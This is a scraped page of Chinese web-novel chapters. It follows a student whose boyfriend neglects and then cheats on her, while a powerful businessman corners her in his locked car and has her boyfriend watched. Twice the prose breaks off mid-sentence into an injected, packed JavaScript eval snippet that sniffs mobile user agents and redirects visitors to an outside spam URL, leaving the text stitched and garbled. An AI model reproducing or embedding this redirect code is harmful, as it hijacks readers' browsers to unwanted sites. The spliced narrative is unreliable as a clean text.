女室友郝恬和她相处的还不错,偶尔两人会一起去附近的小吃街逛夜市。 舒棠出卧室的时候,恰好看见郝恬在阳台上打电话,隔着一扇玻璃门听不太清,但能从她脸上看出是在吵架。 她默默地走到冰箱旁,拿出两瓶鲜牛奶放进微波炉内加热。 等着加热的功夫,手机传来震动。 是江决发来的消息。 江决:【抱歉啊宝贝,我可能没法接你了,你自己坐地铁来吧。】 舒棠明白他现在参与了许多科研项目会很忙,所以没有闹脾气,回复:【好。】 江决没再回她,估计是去忙了。 两分钟后,微波炉停止加热。 舒棠戴上手套将热好的牛奶拿出来,放在一边。 身后传来脚步声:“好香啊棠棠,有我的份吗?” 舒棠回头,笑着说:“当然,你需要加糖吗?” 郝恬摇头,接过牛奶捧在手心,深深地闻了闻,“不用。” 舒棠说了句好吧,自己又转身去厨房挖了一勺白砂糖加到牛奶里,搅拌白糖至完全融化才慢慢地抿上一口。 郝恬叹了口气,“好烦,还是当学生好。” 舒棠眨眨眼,“怎么了?大早上的就这么愁眉苦脸,不是你的风格。” 郝恬没了喝牛奶的心情,顺手把杯子搁置一旁,从兜里摸出一盒烟,想起什么,又看向舒棠。 舒棠摇头,表示自己没关系的。 郝恬这才拿出一根烟咬在唇角点燃,随着烟雾蒸腾缭绕,她沙哑的声音也一同传来:“别提了,我妈逼着我让我回家相亲,说现在外面的男人不靠谱,让我赶紧和京城这边的男朋友分手。” 舒棠愣了下,不明所以:“为什么啊,可是你和你男朋友不是大学就在一起了吗?你不都见过他家长了吗?” 牛奶的香气和烟雾中的尼古丁交杂混合,产生一股难以形容的气味。 郝恬吐出一口烟雾,嗳了一声,“见过家长之后分手的情侣也不在少数,况且我男朋友是京城本地的,京城户口,你觉得他父母能让我一个外地姑娘和他结婚吗?” 说到这,她眉头锁得更深了,“更何况,他父母现在给他物色相亲对象了,都是一些富家千金,人家门当户对,我算什么。” 舒棠不喜欢听她这样贬低自己,打断又反驳:“你怎么了,你也很好啊,京大毕业生,大厂正式员工,在我眼里已经相当厉害了。” 郝恬不知道说她什么好,掐了烟,眼神意味深长:“我寒窗苦读数十年才能拿到留在京城工作的入场券,而我男朋友出生就在这里,不需要任何努力就能拿到我这辈子想都不敢想的资源。” 这些话对于舒棠来说,宛若刘姥姥进大观园,她平时接触到的阶层早已限制了她的眼界,所以她无法与郝恬共情。 “我确实去过他家见过他的父母,但那又能怎样呢,我和他家境悬殊太大,这辈子都没可能了。” 一大清早就说这样丧的话,舒棠有些吃不消,她张张口想安慰,却不知从何处说起,最后只好问了个干巴巴的问题:“那你接下来的打算是什么?真的要回家接受家里安排相亲吗?” 几乎是一瞬间,郝恬毫不犹豫地开口:“怎么可能,我都见识过上层社会的繁华了,怎么还会甘心回那个小地方。你知道吗?我去他家的时候明白了一件事,为什么许多有钱人喜欢在院子里养一池子锦鲤,直到和他母亲站在池边赏鱼才恍然大悟。” 舒棠不解。 郝恬唇角露出嘲讽的笑,“他们随意撒点饲料,就能让无数锦鲤拼命夺食,简直就是将一切玩弄鼓掌的上位者姿态。在他们眼中,我大概就是那池中鱼。” “他母亲的原话是——你能从小地方一路厮杀考入京大,确实是万一挑一的天才,但像你这样的天才,京大有一操场。你能见到我,全仰仗我儿子的喜欢,但若没有这层关系,你见我如同一粒浮游见青天。” 这一番话彻底掀翻了舒棠的世界观,像是一把尖锐的刀撕开了她以往对这个世界美好的幻想。 郝恬喝完那杯热牛奶,这才发现她今天的装扮很眼前一亮,还化了精致妆容,随口问:“你要去约会?” 舒棠慢吞吞点头,脑子里还在消化郝恬方才的那番话。 郝恬情绪来得快去得也快,脸上早已没有几分钟前的愁云,俏皮地眨眨眼,“晚上还回来吗?注意防护措施。” 起初舒棠还没懂,这话在脑子里过了一圈,她才后知后觉,红着脸说:“哎呀!郝恬,你干嘛!” 郝恬就爱看她脸红的样子,“害羞了?那我不讲了,说真的,晚上回来吗?你之前不是要找兼职吗?我拜托男朋友给你找了个上门家教,只不过那学生有些少爷脾气,是从小被惯坏的公子哥儿。” 舒棠眨眨眼,见她没再开玩笑,认真答:“晚上回来的,谢谢你帮我找兼职。” 郝恬摆摆手:“小意思,等下——今天周末,你晚上回来,男朋友同意?” 舒棠腾的脸色迅速蹿红,耳垂都泛着淡粉色,扭扭捏捏地说:“我和他没有发展到那里。” 这次换郝恬愣住了,但她没过多八卦,只是说:“好吧,我回去补觉了,晚上回家了和我讲,我给你讲讲那学生家里细节,学生家长出价蛮高的,时薪五百,你肯定答应去。” 听到最后那句话,舒棠急忙点头:“去!我可以的!” 时薪这样高的兼职若是靠她自己,估计这辈子也找不到。这样一来,她接下兼职,助学贷款就能早点还完。 想到这,舒棠脸上的笑容更大了,“谢谢你,郝恬,你对我真好。” 郝恬只留给她一个背影,“晚上请我喝酒。” “没问题!” …… 原本舒棠还在因为江决出尔反尔不能接她而难过,现在收获新兼职之后,早已将那些难过抛之脑后。 原本她继计划地铁出行,但刚走出小区,天上就飘起了小雨点,距离地铁站还有一公里,她干脆打车前往。 一上车,就能感受到车上的暖意,迷迷糊糊间,她竟然在出租车上睡着了。 大概是昨晚睡眠不足,她这一觉睡得格外沉,还做了个奇怪的梦。 梦中她在一片迷雾里奔跑,身后有什么东西在追赶她。她一直跑,终于看到前方有个人影,是江诀。 她欣喜地跑过去,可当那人转过身,露出的却是沈津年的脸。 这个梦瞬间将她吓醒,醒来的时候后背出了一身冷汗。 “姑娘,到京大了,怎么付款?” 司机及时的话将她拉进现实。 舒棠回神,做了个深呼吸,强迫自己冷静,但扫付款码的时候,手都在发抖。 司机疑惑道:“你很冷吗?姑娘,我车上暖气挺大的啊,怎么你哆嗦的这么厉害。” 舒棠挤出一个笑容,说:“没事。” 下了车之后,她一路冒雨跑进京大,却在门口被门卫堵住了,解释了好半天,给江决拨了通电话,江决才姗姗来迟。 因为淋雨,她原本精心打扮的妆容也被搞坏。 江决今天似乎很忙,带她去了单人宿舍内,让她先自己待着,之后接了个电话就出去了,也没有向她解释去了哪里。 江决的单人宿舍还算干净,但处处都透着一股他很少住在这里的感觉,床上的被褥都带着一抹凉。 过了半小时,江决才回来。 江决放下雨伞,走到她身边和她贴贴:“抱歉宝贝,刚才实验数据有误,我去了趟实验室。” 舒棠摇头,注意到现在已经到饭点,提醒道:“我们去食堂吃午饭吧,你不是说京大的食堂很美味吗?我也想尝尝。” 江决感受到她脸上的凉意,起身去拿了块干净的毛巾递给她,目光有些躲闪:“外面很冷,你先擦擦脸上的雨。” 舒棠没注意到他的表情,还以为他是担心自己着凉感冒,心里美滋滋地给自己擦干雨渍。 不仅如此,这是她第一次以江决女朋友的身份来京大,所以干脆去了趟洗手间简单的补了个妆,仔细查看确保自己脸上没有任何奇怪的地方,才回到卧室。 舒棠笑吟吟地开口:“我好了,我们走吧?” 江决一抬头,就看到女孩整理完的模样,她今天穿了件白色棉布长裙,外面是一件同色系的针织开衫,黑发如瀑,柔软的披在肩头。 舒棠长着一张初恋脸,脸颊还带着稚气的婴儿肥,巴掌大的脸上画着精致的淡妆,配上今天的装扮,宛若仙女。 江决完全看呆了,吞了下口水,大脑快速旋转:“宝贝,我们不去食堂了,今天下雨,食堂到处都是人,我不想你被挤到。” 舒棠露出莞尔一笑:“没关系的。” 江决没有和她商量,起身走近她,牵起她的手捏在手里把玩着,亲昵地低头,鼻尖蹭着她:“可是,我下午还要开会,去食堂时间会很赶,我们就在宿舍点外卖,好吗?” 被喜欢的男孩子抱在怀里哄着,舒棠也没了坚持的理由,耳根有些发烫,小声答应:“好。” 午饭结束后,两人在封闭的环境里,江决有些心/猿意马,再加上吃饱喝足有些晕碳,脑子转得也比平常慢了不少。 江决坐在地毯上靠着沙发,舒棠就坐在他身侧,低眉顺眼的,乖得不行。 窗外的雨势渐大,隔着玻璃都能听到哗哗的雨声,玻璃窗上的水迹丝丝缕缕。 室外狂风暴雨,室内却温暖如春。 渐渐的,不知是谁呼吸逐渐急促。 舒棠不敢抬眼,紊乱的心跳声剧烈,呼吸都乱了。 除却窗外雨幕,周遭格外安静,两人的距离也越来越近,江决的目光始终都盯着她那张小脸,故意从兜里摸出一片/套塞进她手里,想看看她的反应。 尖锐的方片触碰到舒棠的掌心,她快速瞥了眼,看到上面写着“超薄”“避孕/套”几个词语,心跳更是快到了一个高度。 “宝贝,我还有一个小时开会,来得及的。” 江决眼尾带红盯着她。 舒棠内心挣扎许久,睫毛止不住的打颤,脸颊烫得吓人,最后慢慢抬眸,对上他那吃人的目光,缓缓点头,“好……” 江决喜上眉梢,双手扶住她的肩,一副要吻下去的姿态。 然而脸还没贴近她,旖旎的氛围就被一道刺耳又急促的电话铃声打断。 方才种种,烟消云散。 舒棠被吓了一大跳,身体哆嗦着向后挪动。 江决也被惊到,他来不及安抚舒棠的情绪,拿出手机查看,发现是吴校长打来的电话,那点情/欲瞬间磨灭。 他皱眉接了电话,听着电话那边的吩咐,表情愈发浓重。 舒棠很少会看到他这种神情,心里有些害怕。 等他挂断电话后,才小心翼翼地问:“怎么了?” 江决不爽到极致,心里把吴校长骂了个遍。 自从上次和沈津年那个饭局之后,吴校长对自己的态度一改往常,不仅脏活累活全丢给他,还让他捞不到一点好处,但他偏偏不能反抗。 舒棠这话算是问到了他气点上,他抓了一把头发,怒气到达极点:“操,别他妈提了,傻逼吴校长,把新人做的错全都推我身上了,那个老东西怎么不快点去死!” 舒棠被他这架势吓到,以往他从未在自己面前这样吆五喝六过,印象中他是那个阳光开朗的学长,和眼下这个模样完全不符。 江决意识到自己说错话,他停顿两秒,“抱歉,宝贝,吓到你了,我刚刚在气头上。” 舒棠觉得有些看不透他,但眼下只是摇摇头,表示自己没被吓到。 “你先去忙,我等你。” 江决收拾东西,嗯了声,没再管她。 等装好各种资料后,他才换鞋准备出门。 舒棠盯着他看,突然发现他手腕上没有戴着自己送他的手表,下意识问:“江决,我送你的手表呢?” 江决背对她穿鞋,闻言愣住,“怎么了?” “没事,” 舒棠摇头,“我只是看你今天没戴,问问而已。” 江决松了口气,心虚地说:“落在实验室了。” 舒棠哦了下,没再问话。 江决心里想着事,出门前连句告别都没说,拉开房门就走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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因为那场噩梦和江决的爽约,舒棠今晚心情本就低落,现下突然被关心,鼻尖蓦然发酸,“没事,我在京大。” 方好好那头很吵,隐约能听到音乐,估计在酒吧。 “在约会吗?” 舒棠实在受不住,叹气:“没有,江决临时被导师叫走了。” 方好好蹙眉,一针见血地说:“你不要告诉我,他要你一个人独守空房吧?” 舒棠眨眨眼,故作轻松地说:“也没有,他说让我先回家。” 方好好被这话气得跳脚:“让你一个人回家?都不送你?也不给你叫辆车?” 舒棠不吭声,是因为不知道回什么,因为方好好说的对。 今晚,江决没有察觉到她情绪低落,让她回家也没有给她叫辆车。 忽然之间,她有些累了。 “我靠,这个渣男,你等着,我给你打辆车,把位置发我。” 若是往常,舒棠还会和她客气,但今晚心情实在差劲,也没那个力气推脱,干脆顺了她的意。 和方好好挂断电话没多久,就接到司机的电话,对方说已经到达京大门口,询问舒棠的位置,她问了车牌和车的颜色,得知后便加快脚步。 她走至门口,四处张望着,白色帆布鞋踩到深深浅浅的水洼,白色针织开衫被溅上点点污渍。 不远处的老槐树旁停着一辆车,模糊的尾灯映出车牌,她眯着眼睛,嘴里念着车牌,发现正是这辆车后,便一路小跑过去,拉开厚重的车门坐上去。 “你好,麻烦去胜景小区,谢谢。” 说完这话,她便收起雨伞放置脚边,又低头拂去开衫上的水珠,发梢的水滴下来,落在昂贵的羊绒地毯上,洇开深色痕迹。 车内无人回应她。 她蹙眉,边拿出手机给方好好发消息表明自己已经上车,边重复:“师傅,去胜景小区。” 这次依旧毫无回应,车内弥漫着一股近乎凝滞的安静,只有车顶传来被隔绝后犹为沉闷的雨声。 暖气开得很足,但有一丝异样,周围太安静了,车内还带着一股熟悉的压迫感,让她顿时想到了今天连续做过的两场噩梦。 刹那间,她瞬间抬头。 看不到驾驶座,前方是一道完全隔开的私密的黑色玻璃屏障,将前后座区分为两个世界。 而她所坐在的这片区域,和普通私家车不同,宽敞得近乎奢侈。 饶是她再迟钝,也能反应过来,自己上错车了。 她的心脏骤然一缩,视线惶急地转向身侧—— 与她相隔不过半臂距离的位置上,坐着一个男人。 男人侧着头,无声地看着她。 窗外路灯的光掠过,在他脸上投下明暗交错的剪影,借着那一星半点的光,舒棠看清了男人。 明晰的下颚线,高挺的鼻梁,沉静地像寒潭的眼眸中没什么情绪。 几乎是一瞬间,她就认出—— 这个男人,是沈津年。 她浑身的血液在这一刹那冲上头顶,又瞬间褪得干干净净。 沈津年盯着她,漆黑的眸色深沉,眼神晦涩不明,幽深而危险。 “对……对不起,我上错车了。” 舒棠哆哆嗦嗦地说。 她手忙脚乱地去摸门把手,指尖却在刚触碰到门把手后,就听到一道清晰的「咔哒」声。 车被锁了。 就在她想开门的前一秒。 她格外慌,脸烧得通红,不敢乱看,徒劳地又扳动了几下。 “沈先生,门锁了,可以把门打开吗?” 她欲哭无泪地说。 下一秒,男人倾身覆上来。 一只手臂从她身侧缓缓伸过来,腕骨清晰,手指修长有力,随意地搭在了她正企图打开的门把手上。 没有碰到他,却以一种绝对掌控的姿态,封死了她所有触碰到任何开关的可能。 “想开门,下车?” 沈津年开口。 舒棠背对着他,拼命点头,“是的,我想下车。” 男人轻笑,靠近她,越来越近,从背后笼罩住她,她甚至都能感受到他西服外套的温度。 他的身影,将她整个人都密密实实地遮住。 压迫感十足。 令她呼吸不畅。 “可是。” 沈津年声音低沉,“上了我的车,就下不去了,舒棠。” 5. chapter 5 男人的声音落下后,车厢里陷入一种更深的寂静。 只有雨点敲击车顶的闷响,规律得令人心慌。 舒棠的指尖还僵硬地搭在冰凉的门把手上,手背因为用力而泛起青白。 她能感觉到自己后背在抖,湿冷的衣料紧贴着皮肤。 除此之外,还有沈津年那股迫近的体温,像一张逐渐收拢的网,仿佛将她包裹得严严实实。 他没有退开。 继续方才的姿/势。 虽然没有触碰到她,但呼吸间温热的气息拂过她耳廓微湿的碎发。 舒棠动都不敢动,更不敢回头,悄悄抬眸,能在深色车窗的微弱反光里,看到身后那个男人模糊又高大的轮廓,紧贴在她身后。 压迫感十足。 “抱歉,沈先生,我必须要下车。” 舒棠鼓起勇气说出这句话。 沈津年轻笑,像是听到了什么好笑的笑话,“必须?” 男人的声音尽在咫尺,几乎是从她颈侧传到耳朵里的。 “这么多年,还从没人这样命令我。” “舒棠,你是第一个。” 舒棠瞳孔一缩。 他记住了自己的名字。 她和他只见过一面,就在前几日的那场应酬宴上。 忽然间,她有些害怕。 因为就连江决一直敬畏的吴校长在这个男人面前都是那样的卑躬屈膝,由此可见他不是一般人。 舒棠顿时后悔上车前为什么不仔细察看车牌了。 她喉咙发干,小声地说:“抱歉,沈先生,可是我待会儿还有事情,必须要走。” 她以为这样讲,沈津年就会放过她,可却没想到男人故意曲解她的意思。 “你在暗示我,如果待会儿没事,就可以不下车了?” 舒棠欲哭无泪:“不是……” 她发现了,和沈津年讲道理是行不通的。 干脆试图缩紧肩膀,将自己蜷缩起来,先避开男人身上那股无所不在的气息。 沈津年盯着她看了一会儿,撑在她身侧的那只手,忽然抬了起来。 舒棠猛地闭上眼睛,心脏骤停一拍。 预想中的触碰并未落在身上,那只手越过了她的肩膀,指向她面前的控制面板。 “嗒。” 一道极轻的按键声。 车锁被解开。 “我放你下车。” 沈津年松口。 舒棠松了口气,但下一秒,又听到他说。 “可是,你的伞,把我的地毯弄湿了。” 男人的语气很平淡,只是在陈述事实。 舒棠的目光随着看过去,雨伞被遗忘在脚边,还在滴水,混合着污渍,将那片价格不菲的羊毛地毯弄出深色水渍。 她的脸颊顿时变烫,本能地又想道歉,嘴唇翕动,却只发出一点微弱的气音。 “对不起……” 这三个字在此刻显得苍白无力,甚至可笑。 舒棠思考片刻,最后下定决心开口:“您说个数字,我赔,您的损失。” 原本就不富裕的日子此刻更是雪上加霜。 她的助学贷款还没还完,就又背上一笔。 沈津年直勾勾地盯着她,“钱倒不必。” 舒棠蹙眉,若是赔钱那还好说,但若是他连钱都不要,那他想要自己怎么赔? 想到这,她也问出来了,“那您要我怎么赔偿您的损失。” “赔偿?” 沈津年顿了顿,仿佛在斟酌词句,又像是一种刻意的折磨,“你觉得,上错车的人,又把车弄脏的人,该怎么补偿车主?” 话音落下的瞬间,他原本虚悬在她身后极近处的身体,终于实实在在缓慢地向前。 温热而坚硬的触感,隔着衣物,贴上她冰冷的脊背。 舒棠猛地倒抽一口凉气,浑身的寒毛抖竖了起来。 雨势丝毫没有减弱,雨滴砰砰地砸在迈巴赫的车顶。 车内的空气凝滞地如同固体。 “沈先生!” 舒棠再也忍不住,转身后退,后背贴上冰凉的车门,怒目而视面前近在咫尺的男人。 “您说让我怎么赔偿可以,但请不要做出越界行为。” 她蹙眉,倔强到极点。 沈津年盯着她的表情,慢慢拉远两人之间的距离,声音低沉:“好。” 舒棠反应过来自己对沈津年大吼大叫之后,慢慢冷静下来,找回了自己平稳的声线:“沈先生,我上错车只是一个意外,您说要我怎么赔偿,我都认可。” 沈津年轻笑,骤然凑近,气息拂过她的耳边,激起一阵颤栗,“好,怎么赔偿你都认可?” “是。” 舒棠闭眼认命。 “那做我女朋友。” 几乎是一瞬间,舒棠的心就提了起来,她也不知道哪来的勇气,光明正大地回视男人的目光,一字一句说:“我有男朋友了,沈先生,请您不要说这样的话。” 那晚的应酬宴上,他分明知道自己和江决是情侣关系,此刻却故意说这样的话。 “男朋友。” 他重复了一遍这个词,“你男朋友在哪?这么大的雨,他放心让你一个人回家?” 他的问题精准而犀利,带着毫不掩饰的质疑和居高临下的审判。 舒棠的心猛地一沉,“他晚上有急事,有谁规定女孩自己不能一个人回家了吗?” 这话在这样密闭而压抑的空间里,显得苍白无力,她清楚自己在诡辩。“ “有急事。” 沈津年轻轻咀嚼这三个字,低笑,“是真的有急事,还是不想送你?” 舒棠蹙眉,“我男朋友在实验室值班。” 沈津年的眼神洞悉一切:“你确定?” 舒棠毫不犹豫地点头,“确定,我相信我男朋友,即便是他在别的地方,也是有苦衷的。” “好。” 沈津年怒极反笑,“真是情比金坚,可是,舒小姐,你猜,如果今晚我不放你走,你的那位男朋友需要多久才会发现你不见了,又能做些什么?” 男人的话像一颗颗投入深潭的石子,激起冰冷刺骨的涟漪。 他稍稍拉开两人的距离,手臂却环着她搭在她身后的椅背上,腾出一只手,慢条斯理地用指背蹭了蹭她冰凉的脸颊,动作轻柔得像对待珍品。 眼神却深不见底,翻涌着她看不懂的暗色。 “不用怕。” 他缓缓开口,气息喷吐在她唇畔,“我会把你送回家,至于你男朋友……” 他顿了顿,唇角勾起一抹毫无暖意的弧度,眼底闪过一丝近乎残忍的兴味,“我不介意,你换掉他。” “因为总有一天,你会自己来到我身边,告诉我,他只是个无关紧要的过去。” - 回到家之后,舒棠惊魂未定。 她快速回了卧室,关上门,反锁,仿佛这样就能隔绝掉沈津年今晚带给她的所有寒意。 她背靠着门板滑坐下去,脑海中闪过什么,湿透的衣服也来不及换,急忙拿出手机,打开搜索引擎输入「沈津年」三个字。 这个男人到底是谁,他身上那种目空一切的压迫感,绝非普通富家子弟所有。 手机屏幕幽幽的光照亮她依然苍白的脸,指尖用力到发白。 终于,她下定决心,按下搜索键的瞬间,心跳如擂鼓。 页面迅速刷新。 首先映入眼帘的,不是花边新闻,不是娱乐报道,而是一条条看似冰冷却分量极重的关联信息。 “沈津年,沈氏集团第三代核心继承人,31岁,掌控跨国投资集团,业务遍及金融、科技、地产等等。“ 下面有许多热评总结: “在京城的商界,沈津年这个名字几乎代表着权力和财富的顶峰。沈家三代从商,到他这一代,更是将家族企业扩展到了难以窥探的高度。” “沈家三少,听说手段不一般,最好别惹,前几年的某个项目,能让竞争对手一夜之间一无所有,他可不是普通商人,黑白两道都有关系。” 其中一条多年前的简短报道,吸引了她的目光。 “沈氏集团低调处理某次境外商务纠纷,据传涉及当地非公开势力,最后结果未公示于众,不得而知。” 报道内容无比官方,但下面评论区早已关闭,显示#该话题存在争议#。 她的目光盯着屏幕上「非公开势力」那几个字,寒意顺着脊椎骨一路爬上头顶。 从百度上看到的内容,她能得知沈津年不是普通的富二代,对方的名字都带着重量,需要普通人仰望甚至避讳的存在。 而她根本得罪不起这样危险的大人物。 忽然之间,她脑海中回想起沈津年最后那句话,顿时冷得打哆嗦。 这是在威胁她吗? 来不及深想,卧室的门就被敲响,郝恬的声音传进耳朵里:“舒棠,你在卧室吗?我和你讲一下兼职的事情。” 舒棠回神,强迫自己冷静下来。 就算是他身份不一般又能怎样,他还能强迫自己吗? 她边自我安慰,边给郝恬开门。 “你怎么这么早就回来了?我还以为得十二点呢,现在才八点——” 郝恬注意到她的装扮,愣了下,“你淋雨回来的,怎么妆都花了?这么狼狈。” 等她进来之后,舒棠关了门,才去洗手间查看自己的模样。 不怪郝恬反应大,她现在妆全花了,身上带着污渍,白色开衫上面点点深色,眼线晕开了。 她叹了口气,拿出卸妆工具,边卸妆边回答她的问题:“淋了一点,你直接讲家教地点吧,对方有什么要求?” 舒棠听着郝恬的话走神,盯着镜中的自己,莫名在想:沈津年居然对着自己这幅鬼样子,说让她做他的女朋友,他们有钱人的品味这么独特吗? “地点我发你了,那片是富人区,外来车辆不能进入,但学生家长会报销你的打车费用,到达小区门口之后,会有安保人员搜身,他已经登记了你的身份,到时保安会联系雇主,雇主安排车来接你……舒棠,你听到了吗?” 舒棠卸完妆,顶着素颜走出洗手间,点头表示自己明白。 郝恬哎了声,“你也别在在意,有钱人就是注重隐私,规矩很多,但报酬给的也多。” 她起身,“时候不早了,雇主说明天让你去试课,对方满意的话,明天就可以正式工作,试课半小时也会算在工作时间里。” 等郝恬走后,舒棠洗了个热水澡,温度适宜的热水打在身上,让她暂时忘记了几个小时前的事情。 她收拾好之后,躺在床上,强迫自己入睡。 不知过了多久,才得以进入梦乡。 …… 与此同时,二十公里外的一家酒吧内。 灯光迷离,音乐爆炸,舞池里的男男女女都在舞动身躯,格外疯狂。 江决仰头灌下一杯又一杯特调酒,坐在卡座里买醉。 自从那晚的应酬宴之后,吴校长就看他鼻子不是鼻子眼不是眼的,不仅把他原本负责的项目拱手让人,还把研一新生干的脏活累活全都堆到他身上。 今晚他实在没忍住,就和吴校长大吵一架,结果吴校长用正常毕业来威胁他,心烦意乱下,他叫了几个朋友,打车找了一家酒吧借酒消愁。 此刻,他只想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046446|194739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灌醉自己。 周围朋友看到他喝酒那爽快样儿,边起哄边给他倒酒。 就在他准备再开一瓶酒时,旁边传来一个轻柔带着点怯生生的声音:“请问,可以借一下火吗?” 江决迟钝地转头,卡座另一侧站着一个年轻女孩,穿着米白色针织开衫和白色长裙,长发柔软地披在肩上,手里捏着一支细长的女士香烟。 女孩五官清秀,画着极淡的妆,眼神清澈,带着一股未经世事的懵懂,甚至有些瑟缩,和周围的环境格格不入。 身边朋友见状,纷纷起哄道:“有啊,江决,人小姑娘朝你借火呢,赶紧理人家啊。” 江决酒劲儿上头,莫名觉得眼前女孩的模样很像舒棠,那素净的打扮,甚至是握着香烟无措的样子,都像极了初遇时的舒棠。 那份乖巧,如出一辙。 这个一闪而过,却莫名触动了江决此刻混乱的心绪。 他沉默了片刻,从兜里掏出打火机,递过去。 女孩凑近,微弱的火苗照亮她小巧的鼻尖和微颤的睫毛。 她吸了一口,立刻被呛得咳嗽起来,脸颊带着红,更添几分我见犹怜。 江决蹙眉。 女孩不好意思地解释:“谢谢你的打火机,我……不太会抽。” 江决收回打火机,语气不好地说:“不会抽还学?” 女孩被这话刺到,低头盯着自己的鞋尖,小声说:“就是心情不太好,听他们说抽烟能解愁,就想试试。” “心情不好?” 江决扯了扯嘴角,他不也是心情不好才来酒吧买醉的吗。 或许是同病相怜,又或许是在朋友的起哄下,江决这次对搭讪者没有保持距离,而是把女生带到这一桌,两人借着酒劲儿聊了起来,也得知她同样是京大的学生。 女孩的语气柔软无助,带着依赖,那模样让江决不由自主想起舒棠。 酒越喝越醉,江决渐渐分不清眼前人到底是舒棠还是谁,今天的烦躁混合着酒精,发酵出一股冲动。 一股让他想要短暂逃离现实,抓住眼前这点虚幻慰藉和掌控感的冲动。 他忽然攥住女孩手腕,女孩仰着小脸看他,脸上带着泪痕,“怎么办,我宿舍关门了。” 江决听到自己沙哑的声音:“没事,我那里有睡觉的地方,你先将就一晚。” 女孩温顺的没有反抗,几乎将一半的重量都倚在他身上。 江决搀扶着她,跌跌撞撞地走出酒吧。 女孩垂眸,看到他手腕上的手表,慢慢牵住他的手,指尖摩挲着手表表身,怯生生地说:“谢谢你,学长,你的手表好特别,是女朋友送的吗?” 江决垂眸,注意到她眼神里的柔弱和依赖,轻笑:“不是,学长没女朋友,单身狗一个。” 女孩细声细语地说:“不应该啊,学长这么优秀。可以让我看看你的手表吗?” 江决摘下,随意地丢给她,语气满不在意:“看吧,送你了,就是一不值钱的玩意儿。” 一路到江决的单人宿舍,门一打开,两人进屋后。 江决没有任何犹豫,直接抱住女孩身躯,吻了上去。 - 京城西郊,慈善宴会进行着。 灯火辉煌,觥筹交错,空气中浮动着高级香水和雪茄以及名贵酒液混合而成的奢靡气息。政商名流,各界精英汇聚于此,低声谈笑间,流动着无形的资源与权柄。 只是沈津年对此不甚在意。 他站在一处落地窗前,有一搭没一搭听着陈特助汇报工作。 忽然,不知道陈特助收到了什么消息,他瞥了眼手机上的消息,脸色一变。 沈津年见怪不怪,指尖轻轻敲打香槟杯身,“办成了?” 陈特助点头,立刻上前半步,声音压得很低,“城南的那块地皮,对方同意了我们的条件,书面文件明早会送到办公室。” 沈津年表情毫无变化,仿佛这只是意料之中的结果。 陈特助顿了顿,继续汇报,这次声音里多了一丝谨慎:“第二件事,是关于舒棠小姐的。” 听到这,沈津年一直落在远处的视线,才慢慢收回来。 他垂眸,看不清眼底的情绪。 “说。” 单音节,毫无温度。 “江决,也就是舒小姐的男朋友,两个小时前在工体那边的酒吧喝醉了,和一个外貌与舒小姐有几分相似的女大学生回了他的住处,至今都未出来。” 陈特助的声音毫无波澜,客观地仿佛在读简报。 沈津年沉默着,指尖敲打着桌身,也不知在想些什么。 良久后,他才极轻地扯了下嘴角,“知道了。” 声音依旧平稳,听不出任何波澜,仿佛只是一件无关紧要的小事。 “舒棠送给他的手表呢?”沈津年又问。 陈特助顿了下,说:“已经在送过来的路上了。” “嗯。” 陈特助离开前,眼角余光瞥见沈津年眼底一闪而过的光,他听到江决出轨后并无愤怒和得意,而是像一个布局者,脸上只有一种尽在掌握的平静。 半小时后,手表送到沈津年手上。 他垂眸,盯着手表,勾唇。 手表已经被清理干净,加上江决很少戴在腕上,所以看起来像刚购买的新手表一样。 陈特助看到,往日有洁癖的沈津年,此刻将那块手表视为珍宝一般戴在腕上。 要知道,沈津年收藏的名表,价格最低的也有九位数。 往日,这种几千块钱的手表根本不入他的眼。 忽然之间,陈特助想起那句话。 有人弃你如敝履,有人惜你如珍宝。 6. chapter 6 周日是个阴天。 铅灰色的云层低低地压着,空气中弥漫着雨后的潮湿和挥散不去的寒意,如同舒棠一夜未得安眠的心绪。 一大清早,她按照郝恬发来的定位打车到西郊低调的富人区,小区名字叫做「云巅苑」。 站在气势恢宏的门头前,她顿时感觉自己渺小的像一粒尘埃,也瞬间明白为什么自己上出租车后,司机确认地址后用怪异的眼神看向自己。 大概是误以为她是某位老总的情妇。 其实她提前搜过这个小区,从贴吧上得知这里是京城闻名遐迩,最注重隐私的顶级富人区,没有之一,住在这里都是京城的顶级权贵。 想到这,她脑海中莫名出现沈津年那张脸。 应该不会那么点背遇到他吧? 京城这么大,怎么可能会碰到他? 她摇摇头,不再胡思乱想,捏紧手里的帆布包带,里面装着小学辅导资料,深吸一口气,走上前。 毕竟是第一次来到富人区,心里还是难免紧张的。 她向安保人员说明来意,报上预约的住户门牌号和姓氏——7栋,沈女士。 昨晚得知小学生的母亲姓沈后,她有一瞬间的诧异,但很快又摒弃掉脑海中的多疑。 应该不会那么巧吧?京城这么大,云巅苑住着那么多非富即贵的人家,大概只是撞姓氏而已。 安保人员核对了手中的平板,目光在她朴素的白衬衫和牛仔裤上扫过,眼神没有轻视,只有公事公办的审视。 “舒棠女士,对吗?请稍等。” 安保人员拿起内部通讯器低声确认。 等待的每一秒都格外漫长。 舒棠低着头,能感受到这里的其他安保人员看似随意,实则警觉的视线。 云巅苑处处都井然有序,安静得过分,进出的车辆都是千万级别的豪车,车牌不只有蓝色的,还有白色车牌。 每个角落都无端给人一种无形的压力。 很快,安保放下通讯器,对她点头:“确认了,舒女士,不过进入核心区域前,需要例行安全检查,这是业主的规定,请您理解并配合。” “安全检查?” 舒棠一愣,郝恬昨晚给她讲的时候,她还在想是不是太夸张了,没想到居然是真的会被检查。 “是的。” 